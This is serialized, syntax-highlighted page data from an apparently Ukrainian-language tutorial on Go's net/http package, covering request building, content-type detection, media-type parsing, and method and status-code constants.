ReadResponse",[5557,26635,5673],{"class":5585},[5557,26637,8922],{"class":5654},[5557,26639,8925],{"class":5585},[5557,26641,5314],{"class":5567},[5557,26643,5268],{"class":5585},[5557,26645,23988],{"class":5567},[5557,26647,5305],{"class":5585},[5557,26649,23646],{"class":5654},[5557,26651,8925],{"class":5585},[5557,26653,8933],{"class":5567},[5557,26655,18900],{"class":5585},[5557,26657,23935],{"class":5567},[5557,26659,5305],{"class":5585},[5557,26661,12061],{"class":5567},[5557,26663,5623],{"class":5585},[5348,26665,26666],{},[5205,26667,26668],{},"Приклад створення складних запитів:",[5464,26670,26672],{"className":5550,"code":26671,"language":5553,"meta":5472,"style":5472},"func buildComplexRequest() *http.Request {\n    \u002F\u002F JSON payload\n    payload := map[string]any{\n        \"name\": \"Тест\",\n        \"tags\": []string{\"go\", \"http\"},\n    }\n    jsonData, _ := json.Marshal(payload)\n\n    \u002F\u002F Контекст із таймаутом\n    ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)\n    defer cancel()\n\n    \u002F\u002F Створення запиту\n    req, _ := http.NewRequestWithContext(\n        ctx,\n        http.MethodPost,\n        \"https:\u002F\u002Fapi.example.com\u002Fitems\",\n        bytes.NewReader(jsonData),\n    )\n\n    \u002F\u002F Встановлення заголовків\n    req.Header.Set(\"Content-Type\", \"application\u002Fjson\")\n    req.Header.Set(\"Authorization\", \"Bearer \"+token)\n    req.Header.Set(\"User-Agent\", \"MyApp\u002F2.0\")\n    req.Header.Set(\"Accept\", \"application\u002Fjson\")\n    req.Header.Set(\"Accept-Encoding\", \"gzip, deflate\")\n\n    \u002F\u002F Додавання query-параметрів\n    q := req.URL.Query()\n    q.Add(\"version\", \"v1\")\n    q.Add(\"format\", \"json\")\n    req.URL.RawQuery = q.Encode()\n\n    \u002F\u002F Додавання cookies\n    req.AddCookie(&http.Cookie{\n        Name:  \"session_id\",\n        Value: \"abc123\",\n    })\n\n    return req\n}\n",[5236,26673,26674,26691,26696,26714,26725,26746,26750,26772,26776,26781,26819,26827,26831,26836,26854,26861,26872,26879,26893,26897,26901,26906,26928,26954,26977,26999,27022,27026,27031,27050,27069,27089,27112,27116,27121,27140,27150,27160,27164,27168,27175],{"__ignoreMap":5472},[5557,26675,26676,26678,26681,26683,26685,26687,26689],{"class":5559,"line":5560},[5557,26677,5634],{"class":5563},[5557,26679,26680],{"class":5637}," buildComplexRequest",[5557,26682,14604],{"class":5585},[5557,26684,8928],{"class":5567},[5557,26686,5268],{"class":5585},[5557,26688,8933],{"class":5567},[5557,26690,5701],{"class":5585},[5557,26692,26693],{"class":5559,"line":5571},[5557,26694,26695],{"class":5647},"    \u002F\u002F JSON payload\n",[5557,26697,26698,26700,26702,26704,26706,26708,26710,26712],{"class":5559,"line":5578},[5557,26699,24435],{"class":5654},[5557,26701,5663],{"class":5585},[5557,26703,6681],{"class":5563},[5557,26705,6192],{"class":5585},[5557,26707,6692],{"class":5567},[5557,26709,6689],{"class":5585},[5557,26711,13049],{"class":5567},[5557,26713,6695],{"class":5585},[5557,26715,26716,26718,26720,26723],{"class":5559,"line":5589},[5557,26717,24454],{"class":5592},[5557,26719,6704],{"class":5585},[5557,26721,26722],{"class":5592},"\"Тест\"",[5557,26724,6710],{"class":5585},[5557,26726,26727,26730,26732,26734,26736,26739,26741,26744],{"class":5559,"line":5596},[5557,26728,26729],{"class":5592},"        \"tags\"",[5557,26731,22470],{"class":5585},[5557,26733,6692],{"class":5567},[5557,26735,7065],{"class":5585},[5557,26737,26738],{"class":5592},"\"go\"",[5557,26740,5305],{"class":5585},[5557,26742,26743],{"class":5592},"\"http\"",[5557,26745,11339],{"class":5585},[5557,26747,26748],{"class":5559,"line":5602},[5557,26749,5735],{"class":5585},[5557,26751,26752,26754,26756,26758,26760,26762,26764,26766,26768,26770],{"class":5559,"line":5608},[5557,26753,24485],{"class":5654},[5557,26755,5305],{"class":5585},[5557,26757,10892],{"class":5654},[5557,26759,5663],{"class":5585},[5557,26761,6560],{"class":5654},[5557,26763,5268],{"class":5585},[5557,26765,10901],{"class":5637},[5557,26767,5673],{"class":5585},[5557,26769,15207],{"class":5654},[5557,26771,5623],{"class":5585},[5557,26773,26774],{"class":5559,"line":5614},[5557,26775,5575],{"emptyLinePlaceholder":5574},[5557,26777,26778],{"class":5559,"line":5620},[5557,26779,26780],{"class":5647},"    \u002F\u002F Контекст із таймаутом\n",[5557,26782,26783,26785,26787,26789,26791,26793,26795,26797,26799,26801,26803,26805,26807,26809,26811,26813,26815,26817],{"class":5559,"line":5626},[5557,26784,16899],{"class":5654},[5557,26786,5305],{"class":5585},[5557,26788,22723],{"class":5654},[5557,26790,5663],{"class":5585},[5557,26792,5317],{"class":5654},[5557,26794,5268],{"class":5585},[5557,26796,22732],{"class":5637},[5557,26798,5673],{"class":5585},[5557,26800,5317],{"class":5654},[5557,26802,5268],{"class":5585},[5557,26804,22741],{"class":5637},[5557,26806,20677],{"class":5585},[5557,26808,22249],{"class":6134},[5557,26810,18338],{"class":5585},[5557,26812,20432],{"class":5654},[5557,26814,5268],{"class":5585},[5557,26816,20437],{"class":5654},[5557,26818,5623],{"class":5585},[5557,26820,26821,26823,26825],{"class":5559,"line":5631},[5557,26822,5741],{"class":5581},[5557,26824,22763],{"class":5637},[5557,26826,5752],{"class":5585},[5557,26828,26829],{"class":5559,"line":5644},[5557,26830,5575],{"emptyLinePlaceholder":5574},[5557,26832,26833],{"class":5559,"line":5651},[5557,26834,26835],{"class":5647},"    \u002F\u002F Створення запиту\n",[5557,26837,26838,26840,26842,26844,26846,26848,26850,26852],{"class":5559,"line":5686},[5557,26839,24697],{"class":5654},[5557,26841,5305],{"class":5585},[5557,26843,10892],{"class":5654},[5557,26845,5663],{"class":5585},[5557,26847,8928],{"class":5654},[5557,26849,5268],{"class":5585},[5557,26851,25014],{"class":5637},[5557,26853,24526],{"class":5585},[5557,26855,26856,26859],{"class":5559,"line":5704},[5557,26857,26858],{"class":5654},"        ctx",[5557,26860,6710],{"class":5585},[5557,26862,26863,26865,26867,26870],{"class":5559,"line":5732},[5557,26864,9300],{"class":5654},[5557,26866,5268],{"class":5585},[5557,26868,26869],{"class":5654},"MethodPost",[5557,26871,6710],{"class":5585},[5557,26873,26874,26877],{"class":5559,"line":5738},[5557,26875,26876],{"class":5592},"        \"https:\u002F\u002Fapi.example.com\u002Fitems\"",[5557,26878,6710],{"class":5585},[5557,26880,26881,26883,26885,26887,26889,26891],{"class":5559,"line":5755},[5557,26882,24545],{"class":5654},[5557,26884,5268],{"class":5585},[5557,26886,5989],{"class":5637},[5557,26888,5673],{"class":5585},[5557,26890,24555],{"class":5654},[5557,26892,14647],{"class":5585},[5557,26894,26895],{"class":5559,"line":5760},[5557,26896,24562],{"class":5585},[5557,26898,26899],{"class":5559,"line":5778},[5557,26900,5575],{"emptyLinePlaceholder":5574},[5557,26902,26903],{"class":5559,"line":5794},[5557,26904,26905],{"class":5647},"    \u002F\u002F Встановлення заголовків\n",[5557,26907,26908,26910,26912,26914,26916,26918,26920,26922,26924,26926],{"class":5559,"line":5799},[5557,26909,24697],{"class":5654},[5557,26911,5268],{"class":5585},[5557,26913,10972],{"class":5654},[5557,26915,5268],{"class":5585},[5557,26917,11046],{"class":5637},[5557,26919,5673],{"class":5585},[5557,26921,11098],{"class":5592},[5557,26923,5305],{"class":5585},[5557,26925,6555],{"class":5592},[5557,26927,5623],{"class":5585},[5557,26929,26930,26932,26934,26936,26938,26940,26942,26944,26946,26948,26950,26952],{"class":5559,"line":5807},[5557,26931,24697],{"class":5654},[5557,26933,5268],{"class":5585},[5557,26935,10972],{"class":5654},[5557,26937,5268],{"class":5585},[5557,26939,11046],{"class":5637},[5557,26941,5673],{"class":5585},[5557,26943,17745],{"class":5592},[5557,26945,5305],{"class":5585},[5557,26947,24756],{"class":5592},[5557,26949,24759],{"class":5585},[5557,26951,24762],{"class":5654},[5557,26953,5623],{"class":5585},[5557,26955,26956,26958,26960,26962,26964,26966,26968,26970,26972,26975],{"class":5559,"line":5813},[5557,26957,24697],{"class":5654},[5557,26959,5268],{"class":5585},[5557,26961,10972],{"class":5654},[5557,26963,5268],{"class":5585},[5557,26965,11046],{"class":5637},[5557,26967,5673],{"class":5585},[5557,26969,17649],{"class":5592},[5557,26971,5305],{"class":5585},[5557,26973,26974],{"class":5592},"\"MyApp\u002F2.0\"",[5557,26976,5623],{"class":5585},[5557,26978,26979,26981,26983,26985,26987,26989,26991,26993,26995,26997],{"class":5559,"line":5835},[5557,26980,24697],{"class":5654},[5557,26982,5268],{"class":5585},[5557,26984,10972],{"class":5654},[5557,26986,5268],{"class":5585},[5557,26988,11046],{"class":5637},[5557,26990,5673],{"class":5585},[5557,26992,11395],{"class":5592},[5557,26994,5305],{"class":5585},[5557,26996,6555],{"class":5592},[5557,26998,5623],{"class":5585},[5557,27000,27001,27003,27005,27007,27009,27011,27013,27015,27017,27020],{"class":5559,"line":5849},[5557,27002,24697],{"class":5654},[5557,27004,5268],{"class":5585},[5557,27006,10972],{"class":5654},[5557,27008,5268],{"class":5585},[5557,27010,11046],{"class":5637},[5557,27012,5673],{"class":5585},[5557,27014,11822],{"class":5592},[5557,27016,5305],{"class":5585},[5557,27018,27019],{"class":5592},"\"gzip, deflate\"",[5557,27021,5623],{"class":5585},[5557,27023,27024],{"class":5559,"line":5875},[5557,27025,5575],{"emptyLinePlaceholder":5574},[5557,27027,27028],{"class":5559,"line":5881},[5557,27029,27030],{"class":5647},"    \u002F\u002F Додавання query-параметрів\n",[5557,27032,27033,27036,27038,27040,27042,27044,27046,27048],{"class":5559,"line":5887},[5557,27034,27035],{"class":5654},"    q",[5557,27037,5663],{"class":5585},[5557,27039,23646],{"class":5654},[5557,27041,5268],{"class":5585},[5557,27043,10097],{"class":5654},[5557,27045,5268],{"class":5585},[5557,27047,17180],{"class":5637},[5557,27049,5752],{"class":5585},[5557,27051,27052,27054,27056,27058,27060,27062,27064,27067],{"class":5559,"line":5892},[5557,27053,27035],{"class":5654},[5557,27055,5268],{"class":5585},[5557,27057,17475],{"class":5637},[5557,27059,5673],{"class":5585},[5557,27061,7089],{"class":5592},[5557,27063,5305],{"class":5585},[5557,27065,27066],{"class":5592},"\"v1\"",[5557,27068,5623],{"class":5585},[5557,27070,27071,27073,27075,27077,27079,27082,27084,27087],{"class":5559,"line":5898},[5557,27072,27035],{"class":5654},[5557,27074,5268],{"class":5585},[5557,27076,17475],{"class":5637},[5557,27078,5673],{"class":5585},[5557,27080,27081],{"class":5592},"\"format\"",[5557,27083,5305],{"class":5585},[5557,27085,27086],{"class":5592},"\"json\"",[5557,27088,5623],{"class":5585},[5557,27090,27091,27093,27095,27097,27099,27101,27103,27106,27108,27110],{"class":5559,"line":5914},[5557,27092,24697],{"class":5654},[5557,27094,5268],{"class":5585},[5557,27096,10097],{"class":5654},[5557,27098,5268],{"class":5585},[5557,27100,10118],{"class":5654},[5557,27102,15023],{"class":5585},[5557,27104,27105],{"class":5654},"q",[5557,27107,5268],{"class":5585},[5557,27109,11123],{"class":5637},[5557,27111,5752],{"class":5585},[5557,27113,27114],{"class":5559,"line":5919},[5557,27115,5575],{"emptyLinePlaceholder":5574},[5557,27117,27118],{"class":5559,"line":5925},[5557,27119,27120],{"class":5647},"    \u002F\u002F Додавання cookies\n",[5557,27122,27123,27125,27127,27130,27132,27134,27136,27138],{"class":5559,"line":5930},[5557,27124,24697],{"class":5654},[5557,27126,5268],{"class":5585},[5557,27128,27129],{"class":5637},"AddCookie",[5557,27131,15204],{"class":5585},[5557,27133,8928],{"class":5567},[5557,27135,5268],{"class":5585},[5557,27137,7339],{"class":5567},[5557,27139,6695],{"class":5585},[5557,27141,27142,27144,27146,27148],{"class":5559,"line":5952},[5557,27143,8986],{"class":5654},[5557,27145,14628],{"class":5585},[5557,27147,8992],{"class":5592},[5557,27149,6710],{"class":5585},[5557,27151,27152,27154,27156,27158],{"class":5559,"line":5966},[5557,27153,8999],{"class":5654},[5557,27155,6704],{"class":5585},[5557,27157,23361],{"class":5592},[5557,27159,6710],{"class":5585},[5557,27161,27162],{"class":5559,"line":5971},[5557,27163,11978],{"class":5585},[5557,27165,27166],{"class":5559,"line":5977},[5557,27167,5575],{"emptyLinePlaceholder":5574},[5557,27169,27170,27172],{"class":5559,"line":5998},[5557,27171,11758],{"class":5581},[5557,27173,27174],{"class":5654}," req\n",[5557,27176,27177],{"class":5559,"line":6003},[5557,27178,5922],{"class":5585},[7759,27180,27182],{"id":27181},"детектування-типів-контенту","Детектування типів контенту",[5464,27184,27186],{"className":5550,"code":27185,"language":5553,"meta":5472,"style":5472},"\u002F\u002F Визначення MIME-типу за вмістом файлу\nfunc DetectContentType(data []byte) string\n\n\u002F\u002F Приклад\nfunc detectExample() {\n    data, _ := os.ReadFile(\"image.png\")\n    \n    contentType := http.DetectContentType(data)\n    fmt.Println(contentType) \u002F\u002F \"image\u002Fpng\"\n}\n",[5236,27187,27188,27193,27212,27216,27221,27230,27254,27258,27277,27294],{"__ignoreMap":5472},[5557,27189,27190],{"class":5559,"line":5560},[5557,27191,27192],{"class":5647},"\u002F\u002F Визначення MIME-типу за вмістом файлу\n",[5557,27194,27195,27197,27200,27202,27204,27206,27208,27210],{"class":5559,"line":5571},[5557,27196,5634],{"class":5563},[5557,27198,27199],{"class":5637}," DetectContentType",[5557,27201,5673],{"class":5585},[5557,27203,10950],{"class":5654},[5557,27205,12049],{"class":5585},[5557,27207,6957],{"class":5567},[5557,27209,10276],{"class":5585},[5557,27211,16739],{"class":5567},[5557,27213,27214],{"class":5559,"line":5578},[5557,27215,5575],{"emptyLinePlaceholder":5574},[5557,27217,27218],{"class":5559,"line":5589},[5557,27219,27220],{"class":5647},"\u002F\u002F Приклад\n",[5557,27222,27223,27225,27228],{"class":5559,"line":5596},[5557,27224,5634],{"class":5563},[5557,27226,27227],{"class":5637}," detectExample",[5557,27229,5641],{"class":5585},[5557,27231,27232,27234,27236,27238,27240,27242,27244,27247,27249,27252],{"class":5559,"line":5602},[5557,27233,10887],{"class":5654},[5557,27235,5305],{"class":5585},[5557,27237,10892],{"class":5654},[5557,27239,5663],{"class":5585},[5557,27241,18373],{"class":5654},[5557,27243,5268],{"class":5585},[5557,27245,27246],{"class":5637},"ReadFile",[5557,27248,5673],{"class":5585},[5557,27250,27251],{"class":5592},"\"image.png\"",[5557,27253,5623],{"class":5585},[5557,27255,27256],{"class":5559,"line":5608},[5557,27257,10877],{"class":5585},[5557,27259,27260,27262,27264,27266,27268,27271,27273,27275],{"class":5559,"line":5614},[5557,27261,26186],{"class":5654},[5557,27263,5663],{"class":5585},[5557,27265,8928],{"class":5654},[5557,27267,5268],{"class":5585},[5557,27269,27270],{"class":5637},"DetectContentType",[5557,27272,5673],{"class":5585},[5557,27274,10950],{"class":5654},[5557,27276,5623],{"class":5585},[5557,27278,27279,27281,27283,27285,27287,27289,27291],{"class":5559,"line":5620},[5557,27280,5763],{"class":5654},[5557,27282,5268],{"class":5585},[5557,27284,5768],{"class":5637},[5557,27286,5673],{"class":5585},[5557,27288,6655],{"class":5654},[5557,27290,10276],{"class":5585},[5557,27292,27293],{"class":5647},"\u002F\u002F \"image\u002Fpng\"\n",[5557,27295,27296],{"class":5559,"line":5626},[5557,27297,5922],{"class":5585},[7759,27299,27301],{"id":27300},"парсинг-медіа-типів","Парсинг медіа-типів",[5464,27303,27305],{"className":5550,"code":27304,"language":5553,"meta":5472,"style":5472},"\u002F\u002F Розбір Content-Type заголовка\nfunc ParseMediaType(v string) (mediatype string, params map[string]string, err error)\n\n\u002F\u002F Приклад\nfunc parseExample() {\n    header := \"multipart\u002Fform-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\"\n    \n    mediaType, params, _ := mime.ParseMediaType(header)\n    fmt.Println(\"Type:\", mediaType)           \u002F\u002F multipart\u002Fform-data\n    fmt.Println(\"Boundary:\", params[\"boundary\"]) \u002F\u002F ----WebKitFormBoundary...\n}\n",[5236,27306,27307,27312,27356,27360,27364,27373,27383,27387,27417,27441,27469],{"__ignoreMap":5472},[5557,27308,27309],{"class":5559,"line":5560},[5557,27310,27311],{"class":5647},"\u002F\u002F Розбір Content-Type заголовка\n",[5557,27313,27314,27316,27319,27321,27324,27326,27328,27331,27333,27335,27338,27340,27342,27344,27346,27348,27350,27352,27354],{"class":5559,"line":5571},[5557,27315,5634],{"class":5563},[5557,27317,27318],{"class":5637}," ParseMediaType",[5557,27320,5673],{"class":5585},[5557,27322,27323],{"class":5654},"v",[5557,27325,6662],{"class":5567},[5557,27327,12054],{"class":5585},[5557,27329,27330],{"class":5654},"mediatype",[5557,27332,6662],{"class":5567},[5557,27334,5305],{"class":5585},[5557,27336,27337],{"class":5654},"params",[5557,27339,17363],{"class":5563},[5557,27341,6192],{"class":5585},[5557,27343,6692],{"class":5567},[5557,27345,6689],{"class":5585},[5557,27347,6692],{"class":5567},[5557,27349,5305],{"class":5585},[5557,27351,5660],{"class":5654},[5557,27353,18020],{"class":5567},[5557,27355,5623],{"class":5585},[5557,27357,27358],{"class":5559,"line":5578},[5557,27359,5575],{"emptyLinePlaceholder":5574},[5557,27361,27362],{"class":5559,"line":5589},[5557,27363,27220],{"class":5647},[5557,27365,27366,27368,27371],{"class":5559,"line":5596},[5557,27367,5634],{"class":5563},[5557,27369,27370],{"class":5637}," parseExample",[5557,27372,5641],{"class":5585},[5557,27374,27375,27378,27380],{"class":5559,"line":5602},[5557,27376,27377],{"class":5654},"    header",[5557,27379,5663],{"class":5585},[5557,27381,27382],{"class":5592},"\"multipart\u002Fform-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\"\n",[5557,27384,27385],{"class":5559,"line":5608},[5557,27386,10877],{"class":5585},[5557,27388,27389,27392,27394,27396,27398,27400,27402,27405,27407,27410,27412,27415],{"class":5559,"line":5614},[5557,27390,27391],{"class":5654},"    mediaType",[5557,27393,5305],{"class":5585},[5557,27395,27337],{"class":5654},[5557,27397,5305],{"class":5585},[5557,27399,10892],{"class":5654},[5557,27401,5663],{"class":5585},[5557,27403,27404],{"class":5654},"mime",[5557,27406,5268],{"class":5585},[5557,27408,27409],{"class":5637},"ParseMediaType",[5557,27411,5673],{"class":5585},[5557,27413,27414],{"class":5654},"header",[5557,27416,5623],{"class":5585},[5557,27418,27419,27421,27423,27425,27427,27430,27432,27435,27438],{"class":5559,"line":5620},[5557,27420,5763],{"class":5654},[5557,27422,5268],{"class":5585},[5557,27424,5768],{"class":5637},[5557,27426,5673],{"class":5585},[5557,27428,27429],{"class":5592},"\"Type:\"",[5557,27431,5305],{"class":5585},[5557,27433,27434],{"class":5654},"mediaType",[5557,27436,27437],{"class":5585},")           ",[5557,27439,27440],{"class":5647},"\u002F\u002F multipart\u002Fform-data\n",[5557,27442,27443,27445,27447,27449,27451,27454,27456,27458,27460,27463,27466],{"class":5559,"line":5626},[5557,27444,5763],{"class":5654},[5557,27446,5268],{"class":5585},[5557,27448,5768],{"class":5637},[5557,27450,5673],{"class":5585},[5557,27452,27453],{"class":5592},"\"Boundary:\"",[5557,27455,5305],{"class":5585},[5557,27457,27337],{"class":5654},[5557,27459,6192],{"class":5585},[5557,27461,27462],{"class":5592},"\"boundary\"",[5557,27464,27465],{"class":5585},"]) ",[5557,27467,27468],{"class":5647},"\u002F\u002F ----WebKitFormBoundary...\n",[5557,27470,27471],{"class":5559,"line":5631},[5557,27472,5922],{"class":5585},[7759,27474,27476],{"id":27475},"константи-http-методів","Константи HTTP-методів",[5464,27478,27480],{"className":5550,"code":27479,"language":5553,"meta":5472,"style":5472},"const (\n    MethodGet     = \"GET\"\n    MethodHead    = \"HEAD\"\n    MethodPost    = \"POST\"\n    MethodPut     = \"PUT\"\n    MethodPatch   = \"PATCH\"\n    MethodDelete  = \"DELETE\"\n    MethodConnect = \"CONNECT\"\n    MethodOptions = \"OPTIONS\"\n    MethodTrace   = \"TRACE\"\n)\n",[5236,27481,27482,27488,27499,27510,27520,27530,27541,27552,27562,27572,27582],{"__ignoreMap":5472},[5557,27483,27484,27486],{"class":5559,"line":5560},[5557,27485,23031],{"class":5563},[5557,27487,5586],{"class":5585},[5557,27489,27490,27493,27496],{"class":5559,"line":5571},[5557,27491,27492],{"class":23038},"    MethodGet",[5557,27494,27495],{"class":5585},"     = ",[5557,27497,27498],{"class":5592},"\"GET\"\n",[5557,27500,27501,27504,27507],{"class":5559,"line":5578},[5557,27502,27503],{"class":23038},"    MethodHead",[5557,27505,27506],{"class":5585},"    = ",[5557,27508,27509],{"class":5592},"\"HEAD\"\n",[5557,27511,27512,27515,27517],{"class":5559,"line":5589},[5557,27513,27514],{"class":23038},"    MethodPost",[5557,27516,27506],{"class":5585},[5557,27518,27519],{"class":5592},"\"POST\"\n",[5557,27521,27522,27525,27527],{"class":5559,"line":5596},[5557,27523,27524],{"class":23038},"    MethodPut",[5557,27526,27495],{"class":5585},[5557,27528,27529],{"class":5592},"\"PUT\"\n",[5557,27531,27532,27535,27538],{"class":5559,"line":5602},[5557,27533,27534],{"class":23038},"    MethodPatch",[5557,27536,27537],{"class":5585},"   = ",[5557,27539,27540],{"class":5592},"\"PATCH\"\n",[5557,27542,27543,27546,27549],{"class":5559,"line":5608},[5557,27544,27545],{"class":23038},"    MethodDelete",[5557,27547,27548],{"class":5585},"  = ",[5557,27550,27551],{"class":5592},"\"DELETE\"\n",[5557,27553,27554,27557,27559],{"class":5559,"line":5614},[5557,27555,27556],{"class":23038},"    MethodConnect",[5557,27558,15023],{"class":5585},[5557,27560,27561],{"class":5592},"\"CONNECT\"\n",[5557,27563,27564,27567,27569],{"class":5559,"line":5620},[5557,27565,27566],{"class":23038},"    MethodOptions",[5557,27568,15023],{"class":5585},[5557,27570,27571],{"class":5592},"\"OPTIONS\"\n",[5557,27573,27574,27577,27579],{"class":5559,"line":5626},[5557,27575,27576],{"class":23038},"    MethodTrace",[5557,27578,27537],{"class":5585},[5557,27580,27581],{"class":5592},"\"TRACE\"\n",[5557,27583,27584],{"class":5559,"line":5631},[5557,27585,5623],{"class":5585},[5348,27587,27588],{},[5205,27589,9762],{},[5464,27591,27593],{"className":5550,"code":27592,"language":5553,"meta":5472,"style":5472},"func checkMethod(w http.ResponseWriter, r *http.Request) {\n    if r.Method != http.MethodPost {\n        w.Header().Set(\"Allow\", http.MethodPost)\n        http.Error(w, \"Method Not Allowed\", http.StatusMethodNotAllowed)\n        return\n    }\n    \u002F\u002F Обробка POST\n}\n",[5236,27594,27595,27626,27646,27672,27698,27702,27706,27711],{"__ignoreMap":5472},[5557,27596,27597,27599,27602,27604,27606,27608,27610,27612,27614,27616,27618,27620,27622,27624],{"class":5559,"line":5560},[5557,27598,5634],{"class":5563},[5557,27600,27601],{"class":5637}," checkMethod",[5557,27603,5673],{"class":5585},[5557,27605,8909],{"class":5654},[5557,27607,8912],{"class":5567},[5557,27609,5268],{"class":5585},[5557,27611,8917],{"class":5567},[5557,27613,5305],{"class":5585},[5557,27615,8922],{"class":5654},[5557,27617,8925],{"class":5585},[5557,27619,8928],{"class":5567},[5557,27621,5268],{"class":5585},[5557,27623,8933],{"class":5567},[5557,27625,5949],{"class":5585},[5557,27627,27628,27630,27632,27634,27636,27638,27640,27642,27644],{"class":5559,"line":5571},[5557,27629,5689],{"class":5581},[5557,27631,10109],{"class":5654},[5557,27633,5268],{"class":5585},[5557,27635,12981],{"class":5654},[5557,27637,5695],{"class":5585},[5557,27639,8928],{"class":5654},[5557,27641,5268],{"class":5585},[5557,27643,26869],{"class":5654},[5557,27645,5701],{"class":5585},[5557,27647,27648,27650,27652,27654,27656,27658,27660,27662,27664,27666,27668,27670],{"class":5559,"line":5578},[5557,27649,11000],{"class":5654},[5557,27651,5268],{"class":5585},[5557,27653,10972],{"class":5637},[5557,27655,11043],{"class":5585},[5557,27657,11046],{"class":5637},[5557,27659,5673],{"class":5585},[5557,27661,14102],{"class":5592},[5557,27663,5305],{"class":5585},[5557,27665,8928],{"class":5654},[5557,27667,5268],{"class":5585},[5557,27669,26869],{"class":5654},[5557,27671,5623],{"class":5585},[5557,27673,27674,27676,27678,27680,27682,27684,27686,27688,27690,27692,27694,27696],{"class":5559,"line":5589},[5557,27675,9300],{"class":5654},[5557,27677,5268],{"class":5585},[5557,27679,9267],{"class":5637},[5557,27681,5673],{"class":5585},[5557,27683,8909],{"class":5654},[5557,27685,5305],{"class":5585},[5557,27687,13009],{"class":5592},[5557,27689,5305],{"class":5585},[5557,27691,8928],{"class":5654},[5557,27693,5268],{"class":5585},[5557,27695,13018],{"class":5654},[5557,27697,5623],{"class":5585},[5557,27699,27700],{"class":5559,"line":5596},[5557,27701,6076],{"class":5581},[5557,27703,27704],{"class":5559,"line":5602},[5557,27705,5735],{"class":5585},[5557,27707,27708],{"class":5559,"line":5608},[5557,27709,27710],{"class":5647},"    \u002F\u002F Обробка POST\n",[5557,27712,27713],{"class":5559,"line":5614},[5557,27714,5922],{"class":5585},[7759,27716,27718],{"id":27717},"константи-статус-кодів","Константи статус-кодів",[5464,27720,27722],{"className":5550,"code":27721,"language":5553,"meta":5472,"style":5472},"\u002F\u002F Інформаційні\nconst (\n    StatusContinue           = 100\n    StatusSwitchingProtocols = 101\n    StatusProcessing         = 102\n)\n\n\u002F\u002F Успішні\nconst (\n    StatusOK                   = 200\n    StatusCreated              = 201\n    StatusAccepted             = 202\n    StatusNoContent            = 204\n    StatusPartialContent       = 206\n)\n\n\u002F\u002F Редиректи\nconst (\n    StatusMovedPermanently  = 301\n    StatusFound             = 302\n    StatusSeeOther          = 303\n    StatusNotModified       = 304\n    StatusTemporaryRedirect = 307\n    StatusPermanentRedirect = 308\n)\n\n\u002F\u002F Помилки клієнта\nconst (\n    StatusBadRequest                   = 400\n    StatusUnauthorized                 = 401\n    StatusForbidden                    = 403\n    StatusNotFound                     = 404\n    StatusMethodNotAllowed             = 405\n    StatusRequestTimeout               = 408\n    StatusConflict                     = 409\n    StatusGone                         = 410\n    StatusPreconditionFailed           = 412\n    StatusRequestEntityTooLarge        = 413\n    StatusUnsupportedMediaType         = 415\n    StatusUnprocessableEntity          = 422\n    StatusTooManyRequests              = 429\n)\n\n\u002F\u002F Помилки сервера\nconst (\n    StatusInternalServerError      = 500\n    StatusNotImplemented           = 501\n    StatusBadGateway               = 502\n    StatusServiceUnavailable       = 503\n    StatusGatewayTimeout           = 504\n)\n",[5236,27723,27724,27729,27735,27746,27756,27767,27771,27775,27780,27786,27797,27808,27819,27830,27841,27845,27849,27854,27860,27870,27880,27891,27901,27911,27921,27925,27929,27934,27940,27950,27961,27972,27983,27993,28004,28014,28025,28035,28046,28056,28066,28076,28080,28084,28089,28095,28106,28116,28126,28136,28146],{"__ignoreMap":5472},[5557,27725,27726],{"class":5559,"line":5560},[5557,27727,27728],{"class":5647},"\u002F\u002F Інформаційні\n",[5557,27730,27731,27733],{"class":5559,"line":5571},[5557,27732,23031],{"class":5563},[5557,27734,5586],{"class":5585},[5557,27736,27737,27740,27743],{"class":5559,"line":5578},[5557,27738,27739],{"class":23038},"    StatusContinue",[5557,27741,27742],{"class":5585},"           = ",[5557,27744,27745],{"class":6134},"100\n",[5557,27747,27748,27751,27753],{"class":5559,"line":5589},[5557,27749,27750],{"class":23038},"    StatusSwitchingProtocols",[5557,27752,15023],{"class":5585},[5557,27754,27755],{"class":6134},"101\n",[5557,27757,27758,27761,27764],{"class":5559,"line":5596},[5557,27759,27760],{"class":23038},"    StatusProcessing",[5557,27762,27763],{"class":5585},"         = ",[5557,27765,27766],{"class":6134},"102\n",[5557,27768,27769],{"class":5559,"line":5602},[5557,27770,5623],{"class":5585},[5557,27772,27773],{"class":5559,"line":5608},[5557,27774,5575],{"emptyLinePlaceholder":5574},[5557,27776,27777],{"class":5559,"line":5614},[5557,27778,27779],{"class":5647},"\u002F\u002F Успішні\n",[5557,27781,27782,27784],{"class":5559,"line":5620},[5557,27783,23031],{"class":5563},[5557,27785,5586],{"class":5585},[5557,27787,27788,27791,27794],{"class":5559,"line":5626},[5557,27789,27790],{"class":23038},"    StatusOK",[5557,27792,27793],{"class":5585},"                   = ",[5557,27795,27796],{"class":6134},"200\n",[5557,27798,27799,27802,27805],{"class":5559,"line":5631},[5557,27800,27801],{"class":23038},"    StatusCreated",[5557,27803,27804],{"class":5585},"              = ",[5557,27806,27807],{"class":6134},"201\n",[5557,27809,27810,27813,27816],{"class":5559,"line":5644},[5557,27811,27812],{"class":23038},"    StatusAccepted",[5557,27814,27815],{"class":5585},"             = ",[5557,27817,27818],{"class":6134},"202\n",[5557,27820,27821,27824,27827],{"class":5559,"line":5651},[5557,27822,27823],{"class":23038},"    StatusNoContent",[5557,27825,27826],{"class":5585},"            = ",[5557,27828,27829],{"class":6134},"204\n",[5557,27831,27832,27835,27838],{"class":5559,"line":5686},[5557,27833,27834],{"class":23038},"    StatusPartialContent",[5557,27836,27837],{"class":5585},"       = ",[5557,27839,27840],{"class":6134},"206\n",[5557,27842,27843],{"class":5559,"line":5704},[5557,27844,5623],{"class":5585},[5557,27846,27847],{"class":5559,"line":5732},[5557,27848,5575],{"emptyLinePlaceholder":5574},[5557,27850,27851],{"class":5559,"line":5738},[5557,27852,27853],{"class":5647},"\u002F\u002F Редиректи\n",[5557,27855,27856,27858],{"class":5559,"line":5755},[5557,27857,23031],{"class":5563},[5557,27859,5586],{"class":5585},[5557,27861,27862,27865,27867],{"class":5559,"line":5760},[5557,27863,27864],{"class":23038},"    StatusMovedPermanently",[5557,27866,27548],{"class":5585},[5557,27868,27869],{"class":6134},"301\n",[5557,27871,27872,27875,27877],{"class":5559,"line":5778},[5557,27873,27874],{"class":23038},"    